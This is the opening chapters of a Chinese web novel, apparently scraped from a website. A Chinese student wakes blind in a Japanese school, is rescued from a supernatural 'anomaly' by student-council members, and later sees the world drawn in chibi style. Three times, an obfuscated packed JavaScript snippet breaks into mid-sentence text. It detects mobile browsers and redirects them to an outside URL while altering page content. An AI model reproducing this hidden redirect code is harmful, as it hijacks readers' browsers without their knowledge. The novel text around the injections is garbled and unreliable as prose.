《穿越成为Q Q人》 1. 请让我查查字典 “嘭！” “私が最後の剣を作るのを見ててくれ！（看我来补最后一剑！）” 林新月还没睁开眼，就听见一串叽里呱啦的声音和一些物体砸到地面的环境音。 刚刚那句林新月只听懂了“私が”和“見ててくれ”，本来就听不太懂的句子因为嘈杂的环境更加听不清楚了。 “うわあああ！俺の！俺の魂のペンがぁーーーっ！！（啊，我的灵魂之笔！）” 「我看番没关吗？」 林新月感觉到自己是躺着的，她想坐起来。 「怎么这么硬？我睡地上了吗？」 手刚支撑起身体，地面一个震动，林新月又躺回了地上。 「地震了吗？好吓人。」 “涼介、下がれ！（凉介，后撤！）” 「说什么呢？听不懂，眼睛睁不开。」 林新月企图摸到平板，把视频暂停。 两只手在地上，以肩膀为圆心手臂为半径四处摸索，还向空中伸手。 「怎么这么空，我就算睡相再差也不可能滚到离床这么远吧。」 “翔太っ！誰か起きちゃった、二人とも気をつけて！私、見てくるね！（翔太！有人醒了，你们小心一点，我去看看。）” 好长一句话，林新月只听到了女生说的“二人”“私、見てくるね”。 然后就听见哒哒哒的声音向自己靠近。 「居然还是3D立体音效，好逼真。」 紧接着，林新月感觉到有人来到她身边，然后自己被扶了起来。 「？」 “大丈夫か？（同学，你没事吧，还好吗？）” 「？」 林新月还没反应过来，谁在扶她啊？什么“大丈夫”啊？ “心配しないで、すぐ終わるよ！（别担心，很快就结束了。）” 林新月心想，「私は到是不担心（我倒是不担心）。」 「但现在是个什么情况啊？！穿越了吗？还是谁在给我演戏啊？」 “尹云？”林新月在叫她的室友。 “言うん？今、何て言った？（说？你刚刚说什么？）” “尹云别闹了，帮我一下，我现在感觉眼睛也睁不开，身体也没什么劲。” 林新月第一个返校，她们在群里说了返校时间，第二个是尹云，林新月理所当然认为是尹云扶的自己。 “ごめん、何て言ったの？わからなかった。（不好意思，你了说什么？我没听懂。）” 林新月有点无奈，都什么时候了还演。 不过尹云什么时候口语这么好了？说话声音还这么可爱，果然是会不自觉的夹吗？ 林新月只好配合演出。 “私は、ちょっと、からだがふ——ふ——（我，有点，身体不——不——）” 「糟了，不舒服怎么说？」 林新月用自己仅有的词汇量，也说不出一句完整的话。 “I''mfeelingalittleufortable.（我有点不舒服。）” 两个人在嘈杂的环境里艰难交流。 林新月心想，你能不能把动画关掉，要不要这么有仪式感。 “もう少しだよ、すぐに——（再坚持一下，马上就——）” “咚——！” “桜井——、大丈夫か！（樱井——，没事吧！）” “平気です！（没事！）” 林新月躺平中：「私も平気です。（我也没事）」 不过现在林新月有点缓过神了，自己好像穿越了吧，只不过是不是地点有点问题？ “くそっ！（可恶！）” 樱井撑了个保护罩，罩住自己和林新月。 林新月安祥躺平，这里没有自己插手的份，甚至语言不通。 能感觉到是这位“さくらい（樱井）”さん保护了自己，林新月说了句：“ありがとう。（谢谢。）” 词汇库里为数不多的词汇。 “気にしないで。（不用在意。）” 没多久，打斗的背景音就结束了。 “やっと終わった。（终于结束了。）” “桜井…お前、大丈夫か？（樱井，你，没事吧？）” 两道脚步声向林新月靠近。 “私は平気、でもこの子、なんか具合悪そう。（我没事，但是这位同学，好像有点身体不舒服。）” “レが背負うぜ！（我来背她吧！）” 紧接着，林新月就感觉到自己被背了起来。 “涼介くん、この子日本語が通じないから、お兄さん呼んできてくれる？（凉介，这个同学不会说日语，能叫你哥来一下吗？）” “この子は翔太君に任せる、私たち、保健室で落ち合おう。急ごう！（这位同学就交给翔太了，我们在医务室汇合，快走吧！）” “行くぞ、桜井さん。高橋、また後で。（走吧，樱井。高橋，待会儿见。）” 林新月全程：说什么呢？能给我个翻译器吗？ 被背在背上，林新月处于一个身体使不上劲，眼睛睁不开的状态。 樱井全程扶着她，防止她掉下去。 林新月在移动过程总感觉有点不对劲，没走多久就失去意识了。 “…心配いりませんよ、ゆっくり休めばすぐ元気になります。（……别担心，休息一下就会恢复了。）” 林新月睁开眼，一片漆黑。 「？怎么回事？我的床帘没有这么遮光啊？」 林新月躺了一会儿才想起来自己穿越了。 “あ、起きたんだね。大丈夫、体は何ともないよ…あっ！ごめん、日本語わからないんだった。Waitamoment.（啊，你醒啦。不用担心，你的身体很健康……我忘了你不会日语。稍等一下哦。）” “高橋先輩、こちらに来てください！（高桥前辈，请过来一下！）” 林新月：大丈夫，大丈夫，私は大丈夫（没事，没事，我没事）。 「我也只会这个了。」 帘子被掀开的声音。 紧接着一道温柔的男声传来，“ここは俺に任せてくださいね、桜井さんはゆっくり休んでいてください。（这里交给我吧，樱井同学去休息一下。）” “はい。…先輩、お願いします。（好的。……前辈，拜托你了。）” 然后林新月感觉到坐在自己旁边的樱井离开了，脚步声逐渐远去。 「不要啊，さくらいさん（樱井同学），不要留我一个人，一个人面对陌生男人有点害怕。」 不过林新月并没有喊出口。 “你好，听樱井说，你不会日语，说的话比较像中文。自我介绍一下，我叫高桥龙也。” 「中文？虽然有点口音，不过听得懂。」 “你好，我叫林新月。” “林同学你好，你的身体没有大碍，休息一段时间就好了。” 高桥龙也停顿了一会儿，“不过这件事不适合被普通人知道，所以我需要清除你的记忆，请你谅解。” 林新月：「？什么事？怎么还有清除记忆这种功能？」 “等一下！” “抱歉。”高桥龙也动作很快，手掌覆到林新月额头上方，林新月感觉到一阵掌风，然后又失去了意识。 没多久，林新月又醒了。 睁开眼，还是什么也看不见。 「刚刚那个人好不讲道理，上来就要清除我的记忆。」 「诶？我还记得？那我现在是没被清除？他恐吓我？」 “你醒了？林同学，你的身体没有大碍，休息一下就好了。档案上写的你是留学生，不过我中文不太好，我请了另一位会中文的同学来……” “等一下！这位高桥龙也同学，请你不要擅作主张地清除别人的记忆好吗？” “……”高桥龙也明显愣住了，怎么会不起作用呢？ “这个……我很抱歉。” “哼！”道歉有什么用！ “请你稍等一会儿。”说完，高桥龙也掀开帘子出去了。 林新月后知后觉有点紧张，「糟了，我瞎了。」 “藤井先生、彼女は…%@#；&（藤井医生，她……）” 「怎么办怎么办，现在不仅身处异国他乡，语言不通，还看不见东西。」 「我还没有原身的记忆……」 「等一下，原身也叫林新月吗？不然刚刚那个人听到我自我介绍林新月，又看了我档案都没说什么。」 「怎么办怎么办，突然好慌张。」 “モク、来たか、ちょうどいい…（沐，你来了，正好……）” 林新月还在进行心理活动，帘子又被掀开了。 “林新月。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068564|195180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “啊……”林新月被叫过神来。 “现在感觉怎么样？” 「好标准的普通话。」 “我看不见。”林新月实话实说，“除此之外没什么感觉。” “好，医生说你没事，好好休息，眼睛可能是后遗症，龙也会帮你。” “什么后遗症？” 李沐风看了眼高桥龙也又看了眼林新月，说：“被怪异伤到的后遗症。” 「？」 林新月的表情也很疑惑。 “这件事很难解释，就像是有超能力的怨灵，你被卷进去之后被它伤到的后遗症。” “那这种情况什么时候消失？” “可能……一个星期？” 「这么不确定？」 “咳，总之龙也会帮助你，我有空的时候会来充当翻译。” “那这段时间我怎么办呢？” “这个……” 李沐风看向高桥龙也，用眼神传递信号：这属于突发情况，不在我的解决范围内。 “我会安排一个会中文的学生会成员照顾你，然后帮你申请一下宿舍，最近的课我也会帮你请假，你就在宿舍修养吧。” “哦……有手机吗？” “手机？有啊。”高桥龙也把手伸进兜里。 “那我的手机呢？”林新月没有感觉到自己身上装了东西的重量，还在怀疑现在这个时代有没有电子设备。 “……可能是掉在领域里了，我会帮你找回来的。”高桥龙也拿出伸进兜里的手，原来不是要他的手机。 “那我最近怎么办？” “待会儿我叫人送个新的给你，你先用着。” “好吧。”就先这样吧，人生地不熟的，真可怕。 “喂、藤原さん？…（喂，藤原同学？……）” 高桥龙也打着电话出去了。 「最怕空气突然安静——*」 林新月在心里唱了起来。 她自己不是什么会搭话的人，遇到这种情况只会默默地尴尬。 “既然你遇到这种情况，那我简单给你讲解一下吧。” 「嗯？背景介绍？」 “今天凉介他们，凉介是龙也的弟弟，他们在对付一个‘漫画家’怪异，你应该是不小心被卷进去的。通常这种情况，龙也会负责善后消除记忆，免得引起恐慌。 “不过不知道为什么对你无效，既然这样那就让你更清楚一点，以后好避免这种情况。 “怪异通常是带有强烈情绪自杀的人形成的，比较像我们那边的恶鬼。 “比如强烈的恨意、怨念、悲伤、爱意之类的。怪异通常会有自己的领域，为了防止怪异将普通人拉入自己的领域作乱，就会有组织提前消灭怪异。 “因为大家还是学生的关系，像凉介他们一般负责自己遇到的、可以解决的怪异。 “龙也因为是学生会长的关系，平时比较忙，一般不参与消除怪异的事情，通常负责售后。 “这么说你能明白吗？” 「说了好多。」 “我能理解。 “不过，没有做恶的鬼能被称之为恶鬼吗？你们应该是在它们伤害到人类之前动的手吧，没有不伤害人的怪异吗？” “嗯……”李沐风心想不是我们，是他们，“在怪异快要失控的时候，它的能力会从领域里泄露出来，影响到周围的人。 “等它彻底失控，领域就会消失，它会出现在现世，到时候影响很大，解决起来也更麻烦。 “就是有前人的经验，才会有后人的做法。 “像那种无害的‘怪异’，存在不了多久，自己就会消失。就像刚去世的人形成的鬼魂，要不了几天就会进入地府，投胎转世一样。 “能形成领域的怪异都是有威胁的、有强大破坏力、很恶劣的怪异，需要解决掉。” “哦……我知道了。” 「好，わかりました（知道了）。」 “再等一会儿吧，龙也叫了藤原同学来帮你。” “藤原同学是女生吧？” “是，你见——听到就知道了。” “はい！高橋会長、今、来ました！これは…（高桥会长，我来了！这个是……）” 「真有元气啊，这个声音。」 “唰——”床帘直接被拉开了。 “你好，我是藤原凛，请多关照！” 2. 论会多国语言的重要性 “小心一点，接下来要上楼梯，对……只有三阶。” 「感觉自己像个小孩。」 林新月左手被藤原凛扶着，右手不安地乱舞，用这辈子最慢的速度上楼梯。 “好，没有楼梯了。但是前面有个门，对……” 看不见的林新月龟速移动，藤原凛拿着林新月的右手，让她摸一下宿舍大门。 “往前走……”藤原凛带着林新月靠近墙边，“你可以摸着墙，对……往前走，过四个门就到了。” “好，105就是你的宿舍，这是一个双人间，会长特意为你申请的，来宿舍钥匙给你。” 藤原凛把钥匙放进林新月手里，带着她摸钥匙孔的位置。 “钥匙要这样插进去，对，然后顺时针转两下，接着按门把手，好，门开了，走吧。小心前面有一点门槛。” 藤原凛把林新月扶进门，问：“林同学你睡左边还是右边？我做你的临时舍友。” “右边吧。”其实哪边都行。 “好的。”藤原凛尽职尽责把林新月扶到床边坐下。 “你在这里坐一会儿，这个手机给你没有密码的，里面存了我和会长的电话，你想给我打电话就叫‘hi，ソラ（小空）’，‘打电话给……’，我忘了它听不懂中文。” 藤原凛把手机放到林新月手里，“你这样说，‘藤原凛に電話して（给藤原凛打电话）’。给会长打电话就是，‘高橋竜也電話して（给高桥龙也打电话）。来试试。’” 林新月捏着手机，缓慢开口：“hi，ソラ。” “はい、お呼びでしょうか？（嗯，您叫我吗？）” “ふじ……” “ふじわらりん。”藤原凛在旁边提示。 “ふじわらりんにでんわして。（给藤原凛打电话）” “はい、藤原凛さんに電話します。（好的，现在给藤原凛打电话。）” “叮铃铃铃——” “打通了！做的很好哦。好，接下来是让ソラ打开翻译软件，这样说‘解々を開いて（打开解々）’。” “hi，ソラ。” “はい、お呼びでしょうか？（嗯，您叫我吗？）” “かいかいをひらいて。（打开解々）” “かしこまりました。翻訳アプリ『解々』を起動します。(明白。现在启动翻译应用程序“解々”。)” “好，林同学发音很标准哦。接下来只需要按住这里。” 藤原凛拉着林新月的右手食指，按住手机屏幕底端中间的位置。 “一直按住，然后说话，说完之后抬起来，就可以了。” 说完藤原凛示范了一下，按下去“滴”的一声，“就像这样。” 抬起手指，“滴”的一声。 随后翻译软件发出声音：“このように。（就像这样。）” “这样就可以语音输入然后翻译了，如果听不懂对方说话，就让对方自行使用翻译给你听好了。你只需要说……” “すみません、私は日本語が上手ではありません。(对不起，我的日语不太好。)”林新月抢答道。 为数不多会的句子，就像“Sorry,I''mnotgoodatEnglish(抱歉，我不擅长英语)”一样。 “可以的，林同学还是会一点的嘛。” 把林新月安顿好了，藤原凛准备去给林新月弄点吃的。 “林同学有什么想吃的吗？我给你准备晚餐。” “我……”一时之间不知道吃什么。 “那就要一碗豚骨拉面吧。” “好的哟，那你在宿舍待会儿，我去去就回～” 「我今天高低得尝尝这碗豚骨拉面的咸淡！」 「这面有点咸。」 “ふじわらさん（藤原同学）～，请给我一瓶矿泉水。” “はい——林さん，どーぞ。（好的——林同学，来给你。）” “ありがとう～（谢谢～）” 林新月握着手里的矿泉水瓶子，自己拧开了，然后摸着碗慢慢往里倒水。 藤原凛看到林新月往拉面汤里兑水，眼睛瞬间睁大了，脱口而出：“えっ？！もったいない！（诶？！好浪费！）” 但又想起林新月不是本地人，于是马上改口问道：“林さん，你是觉得汤的味道太浓了吗？” 林新月把握着度，把矿泉水瓶盖拧紧放旁边。 “我觉得面有点咸了，所以想加点水，不可以吗？” 「难道是文化差异？」 “当然可以啦～每个人的口味不一样嘛，林さん你吃完之后放着我来收拾吧。” “好的，麻烦你了。” “这是我应该做的～” 藤原凛转身掏出一根笔直的、细细的棍子，等林新月吃完后递到她手中。 “这是从会长办公室偷——借来的，我看很适合就给你用吧，会长肯定不会有意见的。” 林新月拿在手里摸了一下，很光滑，拿在手里也不重，很长的、很细的一根棍子。 林新月忍了一下，担心乱舞会打到藤原凛。 藤原凛收拾掉餐具后，带着林新月找了一下卫生间和洗手池的位置。 “好了，林さん你在宿舍待着吧，我要去学生会开会了。” 都准备出门的藤原凛又倒回来，“あ——（啊——），如果你觉得有点无聊的话，可以叫ソラ给你放电视看。” “‘アニメーションを再生します’是播放动画，没看过的一般会播放排名第一的动画，看过的会继续播放……” 藤原凛给林新月补充了一堆打发时间的语音助手指令，林新月记没记住就只有本人知道了。 “バイバイ、また後でね。（拜拜，晚点见哦。）有事记得给我打电话哦，‘藤原凛に電話して（给藤原凛打电话）’——よ～（哦～）” 人都走出寝室了，声音还在房间内环绕。 “拜拜。”也不知道藤原凛有没有听到，看得出很急了。 好，现在寝室里只有林新月一个人了。 用手里的棍子小心地探路，林新月走到比较空的位置。 把手移到棍子中端位置，开始——转棍子。 「拿到这么合适的棍子，就是会忍不住想转一下。」 转了一会儿有点无聊，林新月摸索着回到了床上，摸出手机根据藤原凛的指导让ソラ播放音乐。 是听不懂的歌，不过节奏听着还挺舒服的。 林新月躺在床上，看也看不见，只能听着没听过的歌，手上把玩着棍子，没一会儿就睡着了。 “そんなもの描いて何になる？この惨めな成績を見ろ！（画这些有什么用？看看你惨不忍睹的成绩单！）” “さくら…パパとママが応じてないわけじゃない、ただ…(小樱...不是爸爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068565|195180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈妈不支持你，只是...)” “一日中こればかり描いて！アニメ絵は幼稚で話にならん、デッサンすら満足にできないくせに！(整天就知道画这些垃圾！卡通图案幼稚可笑，连基础素描都不会！)” “……” 虽然画面一片漆黑，但是在愤怒和软弱的声音中夹杂着纸张撕裂的声音。 「说什么呢，叽里呱啦的，听不懂。」 「这么入乡随俗的吗？连做梦都要换语种。」 “……林さん——林さん！” 「谁叫林桑啊，快应一下，好吵。」 “……林新月！林新月！” 「谁叫我……」 “林新月！” 「来了来了！」 林新月睁开眼，一片漆黑。 “よかった！会長、林さん、目を覚ましたよ！（太好了！会长，她醒了。）” “わかった。藤原、慎重に彼女の様子を見ていてくれ。何か変わったことがあったら、すぐに報告を。（我知道了，你留意一下她的状态。如果有什么变化，立刻向我报告。）” “了解です！任せてください、会長！（了解！请交给我吧，会长！）” 说完藤原凛收起手机，蹲在林新月床边。 “林さん，大丈夫？” 林新月转头朝向藤原凛的方向，“怎么了吗？一直叫我？” “林さん刚刚怎么都叫不醒，我回来的时候看着林さん就像没有呼吸了一样，吓得我灵魂都要出窍了。还好会长出的主意有用，把林さん叫醒了。” 虽然林新月刚刚睡了一觉，但是就像完全没有睡一样，没有放松的感觉。 “我觉得有点累，不知不觉就睡着了。” “看来被卷进领域对林さん的影响很大，没事我今晚会守着你的，明天再叫会长来看看你。” 还没有过被人守夜的经历，林新月不太习惯。 “不用，你休息吧，没有那么夸张，可能只是后遗症，刚刚被你叫醒之后就没了。” “そうだね（也是），那林さん你先休息吧，我看一会儿，如果没什么问题我再睡。” “真的不用，咳，我想洗个澡，今天在地上躺了挺久的。” “あ——OKです（啊，好的），起来吧林さん我扶你去。” “谢谢。” 林新月熟悉了一下洗澡的地方，一个人摸黑洗了个澡。 为了防止林新月跌倒，最后还是由藤原凛将她扶出来。 “小心一点哦，地板打湿了会滑。” 「真是一个温柔又细心的好孩子。」 林新月在床上坐下，藤原凛给林新月的手机充上电后就去洗漱了。 等到藤原凛回来，林新月说：“藤原你先睡吧，我刚睡了一觉现在不怎么困，你要等我睡着可能要很久，你放心不会有什么事的。” 藤原凛思来想去也觉得不会这么巧，于是决定先睡。 上一秒，林新月还听见藤原凛跟朋友打电话，下一秒就听见—— “おーい、聞いてるか？あほ！なんでやねん、また電話しながら寝てんねん！ほんまブタやな～！（喂喂喂——你在听吗？笨蛋！搞什么啊，又打电话睡着了！你真是头猪啊～！）” 林新月通过“おーい”“あほ”“寝て”判断出——藤原凛睡着了。 真是让人羡慕的睡眠速度。 3. 好了，真是可爱啊 第二天，高桥龙也就来宿舍看林新月了。 按理说男生是不能进入女生宿舍的，不过高桥龙也也不是走的一般通道。 “待て、俺はなぜ窓をひっくり返したのですか——？（等等，我为什么要翻窗啊——？）” “シーッ…！会長、いいからさっさと入って！バレちゃうよ！（嘘——！会长，别管那么多了快进去啦！要被发现啦！）” “おまえ……（你……）” 林新月被窗外悉悉索索和叽里呱啦的声音吵醒。 「一大早的，谁啊？在人门前开早会。」 睁开眼，一片漆黑。 「！」 林新月心里一惊，然后才缓过来。 「这样一惊一乍的，真担心自己心脏受不了。」 林新月安抚自己的小心脏，听见房间里多出了脚步声。 “藤原さん？” “林さん，你醒啦。” 藤原凛拉着高桥龙也靠近，“林さん我带会长来了，你不用起来躺着就行。” “会長！早く早く。（会长，你快点。）” “别急，我看看。” 高桥龙也又将手覆在林新月额头上方，林新月都担心高桥龙也再给她来一下。 “没什么问题，昨天那种情况可能是暂时性的。晚上没什么问题吧？” “晚上……”藤原凛支支吾吾。 “晚上没问题。”林新月直接接话，确实也没什么问题，像往常一样睡觉做梦，也没有再梦到讲外语的。 “好，如果有其他情况也可以通知我，那我就先走了——” 高桥龙也脑袋一转，看见林新月靠在床边方便拿取的“棍子”。 咬牙切齿又有点无语地对藤原凛说：“…藤原さん。あの矢の柄、お前が持ってきたのだろう？（……藤原。那个箭杆，你拿过来的？）” “矢の柄？（箭杆？）”藤原凛顺着高桥龙也的视线看到了那跟“棍子”。 林新月此刻正在看——听戏，虽然不知道他们在说什么，但是从语气和氛围来看好像有点儿事。 “あ！これはね、ちょうど林さんにぴったりだと思ってさー、借りたんだよね～？ね、いいよね？（哦，你说这个啊会长，我觉得很适合林同学嘛——，就拿——借来用了，你一定不会介意的对吧？）” “…『借りる』という行為には、まず『貸してくれ』と申し込む工程が存在するんだがな、藤原さん？(……“借”这个行为呢，首先存在一个“请借给我”的申请环节的，藤原？)” “そ、それはね…（那、那个啊……）” “まあいい、壊すんじゃないぞ。壊したら…(算了，别弄坏了。要是坏了……)” “は、はい！わ、わかりました！絶対に壊しません！…へっ…（好、好的！我、我知道了！绝对不弄坏！……嘶……）” “我先走了，林同学你好好休息吧，就让藤原（重音）好好照顾你。” “哦……哦！好的，会长再见。” 林新月还在吃瓜呢，虽然没吃明白，但突然一句话落在了自己身上，林新月脑袋慢慢转，嘴巴先说话。 高桥龙也怎么来的怎么回，可能是被藤原凛气到昏头了吧。 “林さん。”藤原凛磨磨蹭蹭地开口，“那个‘盲杖’你要小心一点用哦，那是我们会长的‘箭杆’，就是弓箭的箭杆，我只听说会长以前学过射箭……” 藤原凛说到后面越来越小声。 “什么？箭杆？是很重要的东西吗？” “就是射箭用的箭吧，我也不知道，会长的弓箭好像花了三十多万吧。” “三十多万！”林新月当场表演一个“垂死病中惊坐起*”。 “我换算了一下，林さん，三十万大概是一万五左右。”藤原凛在手机上戳戳点点。 “一万五！”林新月根本不知道自己有没有正面对着藤原凛，摸着箭杆就要递给藤原凛。 “还是还给会长吧，弄坏了我赔不起。” 「我甚至不知道自己家在哪儿。」 “大丈夫だよ林さん（没事哒林同学），会长不会计较的，这十五万里最贵的应该是弓吧，箭没那么贵的。而且帮助无辜受伤同学是会长的职责，这是他应该的。” 怕说服不了自己藤原凛还“嗯！”了一声。 林新月：“……” 「感觉自己被坑了。」 「算了，坏了就把人抵这吧，反正什么也做不了，语言不通，废物一个。」 林新月又躺平了，想通了，很安详。 “林さん，吃早饭吗？我买了……” 在藤原凛地悉心照料下，第二天林新月就能模模糊糊看见光了。 第三天就像高度近视一样，能看见模糊的世界。 第四天看着世界就像色块。 第五天看着不太清晰的动画风格世界林新月有点怀疑自己的眼睛。 第六天看着清晰的、立体三头身Q版白发美少女藤原凛站在自己面前，林新月觉得自己还没睡醒。 “哈，我一定是在做梦。” “林さん，你怎么躺回去了？没睡醒吗？” “对啊，我眼花了，一定是因为没睡醒。” 「没有人说穿越就像茉莉*一样，三次元变二次元萌物啊！我以为那是个特例呐！」 “那林さん你继续睡吧，我要去学生会开会了，晚点给你带饭回来哦。” “好哦——”林新月有气无力地回应。 藤原凛走后，林新月睁开眼，Q版书桌，Q版椅子，Q版的床，Q版的校服，和窗外Q版的树。 非常美丽的风景，Q版使其更具魅力！ 「啊！我也没遭雷劈啊？怎么眼睛还自带滤镜了呢？」 林新月不敢置信，路过洗手间，进去一照镜子。 “嗯，Q版还挺可爱的。” 林新月捧着脸在镜子前左看右看，上看下看。 圆嘟嘟的脸，大大的眼睛，胖乎乎的手指，短短的腿。 嗯，真可爱。 「没想到我还有这么可爱的一天，都不用给自己构思Q版头像了，随便一拍就是绝美Q版头像。」 林新月立马摸出手机对着镜子拍、自拍，Q版画风就是好啊，怎么做姿势都不会觉得放不开。 林新月不仅拍头像，还拍全身照，摆各种pose。 “用作参考绝了。” 「根本不用参考 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068566|195180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真人画Q版，直接一个照抄，动作绝对标准。」 林新月喜滋滋地解锁手机新功能，找到一个通讯软件，把头像换成自己的Q版怼脸照——单眼wink照，给自己换了个网名，叫“Qlin”。 然后把自己的照片全部上传到空间相册里，目前林新月的账号还没有好友。 然后下载了一个下载量最高的社交软件，和评分比较高的外语学习软件。 由于林新月看自己的Q版头像觉得非常好看，有点上头，导致她的所有账号都用的自己的照片。 林新月还在愉快地探索新世界。 一不小心就过了饭点，等到藤原凛带着午饭回寝室，林新月还沉迷手机无法自拔。 “林さん，我带午饭回来啦。” “啊，藤原さん。”林新月终于回过神，从手机屏幕前拔出脑袋看向藤原凛。 早上没有仔细看，第一眼被画风冲击到，导致林新月马上闭眼。 现在仔细一看，藤原凛真是超有元气的Q版美少女一枚啊。 超可爱的。 “藤原さん，我可以给你拍几张照吗，你好可爱。” 突然被夸，藤原凛有点不好意思。 “あ——いいよ。（啊——好啊。）” 不过藤原凛在镜头前有些拘谨，但是这又是另外的参考动作了。 虽然拘谨，但依旧可爱。 林新月拍完给藤原凛看，并称赞道：“超かわいい。（超可爱的。）” 两人加了个好友，林新月把拍的照片发给藤原凛。藤原凛看着自己的照片还有点不好意思，有点脸红红地回答：“ありがとう。（谢谢。）” 等到林新月吃完午饭，藤原凛才说她要搬走了，确切来说是要回家住。 大家大都是走读生，住宿的人挺少的，这栋女生宿据林新月观察，大概也就住了十几个人。 不过宿舍楼不是很大，也不算太浪费。 「No！藤原さん你走了我怎么办，我的人形翻译器。」 “那我呢？” “林さん？林さん可以住宿舍，也可以回家住。” “回家？” 「我家在哪儿啊？我不知道啊。」 “这个……” “林さん刚来找不到路的话，我拜托会长带你回家吧！” 「藤原さん真是个大好人！」 “喂、会長……（喂，会长……）” “会长下午放学会来接你的，他会带你回家。” “那藤原さん呢？” 「我？一个人？和他一起回去？」 “我当然是回家啦～” 「！」 晴天霹雳。 “别担心啦林さん，会长人很好的哟。” “啊……嗯……” “那我就先去上课啦林さん，拜拜～” “拜拜。”林新月机械摇手。 「夭寿啦*！」 她一个人面对会长怎么可能会有面对香香软软、可可爱爱的女孩子轻松。 以头抢地*——床。 「但是——」 转念一想，藤原凛是Q版，那高桥龙也也应该是Q版。 这样压力好像小很多？ 4. 非常帅的技能但我不会 下午放学前，藤原凛给林新月发了消息，让她在宿舍门口等会长接她。 林新月捏着(可能是)高桥龙也借给她的新手机，站在宿舍楼门口忐忑地等待。 「我待会儿要怎么开口，我直接一个“hi，会长，请问我的手机找到了吗”。」 没错，林新月还没拿到她原本的手机，不知道是没找到，还是已不在人世。 「如果待会儿高桥龙也问我你家在哪儿，我应该怎么回答他，“我不知道？”」 林新月一边在脑子里自言自语，一边手上无意识地转着高桥龙也的箭杆。 然后就听见一声“林さん——”传来。 林新月扭头一看，太好了！是藤原さん！ 和，嗯……一群不认识的五颜六色的同学。 “林さん，这位是樱井美咲さくらいみさき、佐藤翔太とうしょうた、高桥凉介かはしりょうすけ。” 藤原凛挨着介绍了几位新同学。 不论男女，都很可爱。 「是那天的那三个，褐、绿、灰，好。」 脸盲二次元，靠发色认人。 “こちらは林新月(リンシンユエ)、林さんです。（这位是林新月，林同学。）” 林新月只会：“こんにちは。（你们好。）” 佐藤翔太：“こんにちは、調子はどうよ？（你好，身体怎么样了？）” 高桥凉介：“やあ、林先輩、こんにちは～（林学长你好啊～）” 樱井美咲：“林さん、こんにちは。お元気になられましたか？（林同学你好，身体恢复了吗？）” 林新月：“嗯……” 看向藤原翻译官。 “他们在询问你的身体状况。” “哦，私は大丈夫です（我没事了）。” 樱井美咲放下在胸前紧握的双手，“それは良かったです。（那就好了。）” 高桥凉介注意到林新月手里拿了一支箭杆，于是指了指箭杆简单地问道：“これは？（这个是？）” 林新月将手里的箭杆举起来，“これは…（这是……）” 然后疯狂用眼神暗示藤原凛来解释。 “あ、これ、会長のとこから借りてきた矢の柄なんだ、後で返しに行くところ。（啊，这个是我从会长那拿的他的箭杆，待会儿顺便拿去还给他。）” “え？でも…これ、兄貴のじゃないよ。（啊？但是……这个不是我哥的啊。）” 藤原凛看了看箭杆，又说道：“ええ～、とりあえず会長とこ返せばいいんでしょ？（哎呀~，总之先还给会长不就行了？）” “走吧林さん，我们去找会长。” “嗯？！” 「怎么还要找会长！」 “因为我们不知道林さん的家在哪里，会长看了你的档案应该知道。不过会长现在在弓箭部，我们去找他吧～” “行こう！（走吧！）” 两个男生走前边，三个女生走后边，藤原凛在中间，林新月走右边，樱井美咲走左边。 一边走藤原凛一边向林新月介绍，像个观光旅游团似的。 走到弓箭部，几人在观众席坐下。 高桥龙也正在射箭。 “会长练过几年反曲弓，去年参加了青少年弓箭锦标赛获得了冠军呢。” 高桥龙也一箭命中靶心，放下弓箭跟身边的人说话。 虽然是Q版，但是射箭还是很帅气。 佐藤翔太坐在樱井美咲旁边鼓掌：“やった！流石、先輩！（成功了！真不愧是学长！）” 坐在佐藤翔太旁边的高桥凉介直接站了起来：“すげぇっ！真ん中だ！（太厉害了！是正中心！）” 樱井美咲轻轻鼓掌：“さすがです、会長。完璧な一矢ですね。（真不愧是会长。真是完美的一箭。）” “すごい！（好厉害！）”林新月只会这一句。 高桥龙也射完箭之后好像在做指导。 “那会长他现在还在练习弓箭吗？” “会长他退出弓箭部了，应该有在练吧，不过会长平时也挺忙的，现在忙着升学还要管理学生会。” “确实挺忙的。” 「能者多劳。」 “和隔壁学校的交流赛快到了，所以现任部长请会长来帮忙指导一下，应该很快就结束了。” “哦～” 场内还有其他部员在练习射箭，除了林新月他们这些围观群众和高桥龙也穿的校服，其他部员都穿的统一的运动服，应该是社团服装吧。 不过墙边靠着一个女生，穿着不一样的服装。 那个女生似乎感受到有人在看她，于是转过头看了一眼林新月。 林新月见女生看着她，有点不知道怎么回应，于是点了点头，又看向了其他地方。 看着场□□箭的部员，林新月突然想起来自己手里还捏着高桥龙也的箭杆。 “藤原さん，这个给你，你把它还给会长吧。” 